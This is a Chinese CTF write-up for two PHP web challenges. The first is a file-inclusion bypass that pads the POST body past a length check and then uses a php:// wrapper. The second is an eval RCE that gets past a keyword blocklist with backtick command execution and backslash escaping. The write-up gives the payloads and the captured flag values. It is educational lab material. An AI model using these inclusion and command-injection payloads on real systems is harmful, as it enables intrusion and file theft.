[鹤城杯 2022]简单包含
题目
1 2 3 4
| <?php highlight_file(__FILE__); include($_POST["flag"]);
|
文件包含漏洞,先用php伪协议试试获取源码
base64解码后得到
1 2 3 4 5 6 7 8 9 10
| <?php
$path = $_POST["flag"];
if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) { echo 'nssctf waf!'; } else { @include($path); } ?>
|
注意’if (strlen(file_get_contents(‘php://input’)) < 800 && preg_match(‘/flag/‘, $path))’,意思是只读流中的数据长度小于800并且出现’flag’字符串,因此我们仅需让其中一个条件不满足即可绕过
1 2
| php://input的作用是什么? 它可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data" 的时候php://input 是无效的。
|
因此我们可以构造让post的data部分长度大于800即可实现绕过
1 2
| payload a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&flag=php:
|
base64解码后得到flag
1
| NSSCTF{566172c5-aa6a-4efa-9785-7c988f2db8ea}
|
[UUCTF 2022 新生赛]ez_rce
题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php
if(isset($_GET['code'])){ $code=$_GET['code']; if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){ echo '看看你输入的参数!!!不叫样子!!';echo '<br>'; eval($code); } else{ die("你想干什么?????????"); } } else{ echo "居然都不输入参数,可恶!!!!!!!!!"; show_source(__FILE__); }
|
很简答的rce,直接利用反引号执行系统命令并用var_dump打印结果即可,被过滤的命令可用’\‘绕过
1 2
| payload ?code=var_dump(`l\s /`);
|
/image-20240625123227335.png)
flag在fffffffffflagafag中
1 2
| payload ?code=var_dump(`c\at /fffffffffflagafag`);
|
得到flag
/image-20240625123343647.png)
一点尝试
突然心血来潮试了一下取反绕过,发现有报错
/image-20240625124013082.png)
然后调高php版本,发现命令正常
/image-20240625123930224.png)
然后去看了看别人的博客,发现当5<=PHP<=7.0.9
时,需要再执行一次构造出来的字符,猜测取反绕过没成功是因为将字符构造出来后还未被执行,具体只能以后再来看看是为什么了